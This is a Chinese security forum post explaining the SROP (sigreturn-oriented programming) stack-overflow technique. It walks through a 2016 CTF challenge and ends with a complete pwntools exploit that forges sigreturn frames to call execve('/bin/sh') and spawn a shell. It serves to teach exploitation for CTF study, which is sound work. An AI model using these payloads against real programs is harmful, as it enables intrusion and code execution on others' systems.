吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5368|回复: 29
收起左侧

[调试逆向] SROP高级栈溢出利用思路

  [复制链接]
peiwithhao 发表于 2022-10-31 17:22
本帖最后由 peiwithhao 于 2023-3-9 10:08 编辑

SROP

为了补之前想快进到堆而掠过高级栈溢出,这里陆陆续续会补回来

基本介绍

SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。
今天先多讲一句,这个漏洞的利用大多数是依靠在底层内核的系统调用相关方面的知识,所以在我们现在处于的用户态不需要讲解代码,所以图会多点。
在这个利用过程之中,sigreturn是一个系统调用,他也是今天的重要内容,也是攻击的核心,在类 unix 系统发生 signal 的时候会被间接地调用。

signal机制

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

这里我来提一嘴,那就是大伙在这里看到内核其实对于今天知识的讲解关系不大,我们需要了解的仅仅只是这个回复上下文的系统调用而已。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext

  • x86
    struct sigcontext
    {
    unsigned short gs, __gsh;
    unsigned short fs, __fsh;
    unsigned short es, __esh;
    unsigned short ds, __dsh;
    unsigned long edi;
    unsigned long esi;
    unsigned long ebp;
    unsigned long esp;
    unsigned long ebx;
    unsigned long edx;
    unsigned long ecx;
    unsigned long eax;
    unsigned long trapno;
    unsigned long err;
    unsigned long eip;
    unsigned short cs, __csh;
    unsigned long eflags;
    unsigned long esp_at_signal;
    unsigned short ss, __ssh;
    struct _fpstate * fpstate;
    unsigned long oldmask;
    unsigned long cr2;
    };
  • x64

struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

最后,signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15(调用号记孰,这里就跟read的0,write的1一样)。


攻击原理

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

    说到这里,其实,SROP 的基本利用原理也就出现了。
    其大致思路也就是在栈上伪造寄存器信息然后进行sigreturn系统调用,其实还蛮直观的,对于这个如何构造而言,由于这里我们会将所有的用户态寄存器都进行保存压栈,所以咱们人力来构造难免会有疏漏的地方,而且着本身也是个机械化的没技术含量的活,所以我们就交给了自动化程序处理,在目前的pwntools中就存在这样一个工具,这个工具的简单用法我写到下面

read = SigreturnFrame()           #此方法为pwntools内置函数
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #构造rsp寄存器值
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0

可以看出工具的使用还是十分直观的

例题:2016-360春秋杯-srop

首先还是进行check检查

嗯十分友好,接下来看看程序主体部分。
由于这个程序十分简单,我们直接用objdump进行观看

是的没看错,就这么简单,大致讲解下代码含义:

  1. xor    %rax,%rax       //这里是将rax进行异或,咱们相同值异或结果为0,所以这里的含义即为将rax清0
  2. mov  %0x400,%edx   //移入0x400到edx中
  3. mov  %rsp,%rsi       //将栈首地址移入rsi中
  4. mov  %rax,%rdi      //将rax移入rdi中
  5. syscall                    //根据rax的值进行系统调用
  6. ret

由于是64位程序,所以这里咱们可以知道这个函数是进行了read的系统调用,其参数分别处于rdi,rsi,rdx中,分别为0,站地址,0x400,也就是说从输入端读入0x400个字节至栈顶部分。
这里咱们首先想到

修改rax来执行系统调用,但是我们如何在仅有的汇编代码下实现修改rax呢,可能有人会想到SROP,嗯,小伙子反应的很快,但是咱们这里还暂时用不了,所以我们这里利用了一个小技巧,那就是在进行read函数调用的过程中,rax会记录你总共所输入的字节数,所以我们会想到,如果咱们在这儿输入特定大小的值,那不就可以任意构造rax了嘛,这里我们进行实验给大伙看看。


这里是第一次执行syscall时的栈结构

按照程序原来的意思执行一次read函数的系统调用后,此时我们任意输入一个值,我这里输入abcde

可以看到这里咱们的栈是任由咱们写的,然后下一条指令又是ret,所以我们会在此时跳转到我们写的这个值这里,在这儿也就是call 0xa6564636261,所以咱们这里有那么点想法,如果咱们要修改rax的值,那肯定要绕过第一条xor指令,所以咱们可以在栈上首先构造三个0x4000b0,至于为什么是三个,我之后会进行讲解。

第一步

在第一次read系统调用后,咱们输入三个0x4000b0(也即是xor的地址,由于没开地址随机,所以此值固定),此时栈结构如下

此时ret之后,咱们会跳转至xor进行重新一论的程序执行,在执行read的系统调用时,咱们输入‘\xb3’,这样的话会将第二个0x4000b0修改为0x4000b3,并且此时他是在栈上的,而且由于咱们现如今输入一个字节,所以rax也会加一,我们来调试看看是否如此

可以看到确实修改成功,而此时根据程序流程,我们将会跳到0x4000b3进行执行,也就跳过了清空rax的过程,所以此时咱们(由于rax = 1)就会接着执行write的系统调用,并且打印出了栈顶地址,执行效果如下

第二步

    这里还有个小知识,那就是关于系统调用号,这里给出64位的相关调用号
系统调用 调用号 函数原型
read 0 read( int fd, void *buf, size_t count )
write 1 write( int fd, const void *buf, size_t count )
sigreturn 15 int sigreturn( … )
execve 59 execve( const char filename, char const argv[], char *const envp[] )

执行到这里,由于咱们泄露出了栈顶地址,所以咱们最好就少动他,因为咱们之后要用到他的,所以咱们来小试牛刀一把,先利用SROP的思路进行read系统调用。
还记得咱们有三个0x4000b0么,此时还剩下最后一个,所以咱们此时在执行完write的系统调用之后会继续跳转到xor指令,但此时咱们不同了,这次咱们在栈上构造的为0x4000b0 + syscall地址 + read函数的伪造寄存器压栈值,这里我会讲解为何如此构造。
首先构造0x40000b0的目的是方便下一次执行循环,且下一次执行循环之后栈顶上的值会变为
syscall的地址,此时若在此轮read中咱们输入15个值,即可进行sigreturn的系统调用,但是如何输入值却又不改变栈上的值呢,那就是输入同样的值不就行了.
而在进行如下构造

read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0
pl2 = p64(0x4000b0) + p64(syscall_ret) + bytes(read)
pause()
#==== third read ====#
io.send(pl2)    #orchestral stack 
#gdb.attach(io)
#pause()
#==== fourth read ====#
io.send(pl2[8:8+15]) #put in place,so that we can syscall(rax:15) for sigreturn

其中后面的send即为修改rax所发送的,注意在本次系统调用是咱们自主调用而不是依照程序流程所得,在此之后由于咱们对于sigreturnframe的构造,接下来会进行read的系统调用。

第三步

由于又是一次read的系统调用,所以此时咱们还是选择类似上面write一样进行execve系统调用,只不过这里利用了点sigreturn的知识,这里还有个需要注意的点那就是/bin/sh的构造是构造到栈上然后自行计算偏移地址,这里我就不多讲了想必大伙已经捻熟于心,所以此次执行后再次进行SROP攻击,最终结果如下

大获全胜!!!

总结

总结是什么呢,总结就是注意点send和sendline的区别,还有就是经过sigreturnframe构造的串,用bytes(read)跟用bytes(str(read),'utf8')不一样,坑死我了。对于今天攻击的技巧而言更多是对syscall等系统调用的深入理解了。


以下附上exp:

from pwn import *
io = process('./smallest')
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
syscall_ret = 0x4000be
#==== first read ====#
pl = p64(0x4000b0)*3
gdb.attach(io)
io.send(pl)         #let the ret_addr to 0x4000b0
pause()
#==== second read ====#
io.send('\xb3')     #let the ret_addr to 0x4000b3
io.recv(8)          #rax is 0x1,syscall for write
stack_addr = u64(io.recv(8))
io.success('stack_addr ==>'+hex(stack_addr))
read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0
pl2 = p64(0x4000b0) + p64(syscall_ret) + bytes(read)
pause()
#==== third read ====#
io.send(pl2)    #orchestral stack 
#gdb.attach(io)
#pause()
#==== fourth read ====#
io.send(pl2[8:8+15]) #put in place,so that we can syscall(rax:15) for sigreturn

#==== sigreturn read ====#
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x120
execve.rsi = 0
execve.rdx = 0
execve.rsp = stack_addr
execve.rip = syscall_ret

pl3 = p64(0x4000b0) + p64(syscall_ret) +  bytes(execve)
print(len(pl3))
#pause()
pl3 += (0x120 - len(pl3))*b'\x00' + b'/bin/sh\x00'

io.send(pl3)
#pause()
io.send(pl3[8:8+15])
#gdb.attach(io)
io.interactive()

免费评分

参与人数 15威望 +2 吾爱币 +113 热心值 +15 收起 理由
opj1314 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
qianfantian + 1 我很赞同!
A3uRa + 1 + 1 我很赞同!
gaosld + 1 + 1 用心讨论,共获提升!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
WINNERZR + 1 + 1 用心讨论,共获提升!
Rt1Text + 1 + 1 谢谢@Thanks!
RainbowAA + 1 + 1 用心讨论,共获提升!
努力加载中 + 1 + 1 热心回复!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
pureGavin + 1 我很赞同!
charlieb1 + 1 + 1 我很赞同!
杨辣子 + 1 + 1 谢谢@Thanks!
lingyun011 + 1 + 1 热心回复!
sam喵喵 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| peiwithhao 发表于 2022-10-31 20:55
waxiaoshuaiya 发表于 2022-10-31 20:32
当 signal handler 执行完之后,就会执行 sigreturn 代码。报错怎么处理

这个例子没执行signal handler,只是调用了sigreturn,不知道师傅是哪儿遇到的问题呢,如果是这个例子可以截图发来瞧瞧
qqxiazhitmac 发表于 2022-10-31 19:16
lingyun011 发表于 2022-10-31 20:30
waxiaoshuaiya 发表于 2022-10-31 20:32
当 signal handler 执行完之后,就会执行 sigreturn 代码。报错怎么处理
LoveHack 发表于 2022-10-31 20:50
支持支持
yuzhangqu 发表于 2022-10-31 21:06
牛哇兄弟~
zhouzhou1314 发表于 2022-11-1 08:57
学习了,
qqxiazhitmac 发表于 2022-11-1 08:58
感谢分享
837396697 发表于 2022-11-1 09:06
的钱我申请
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 00:56

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表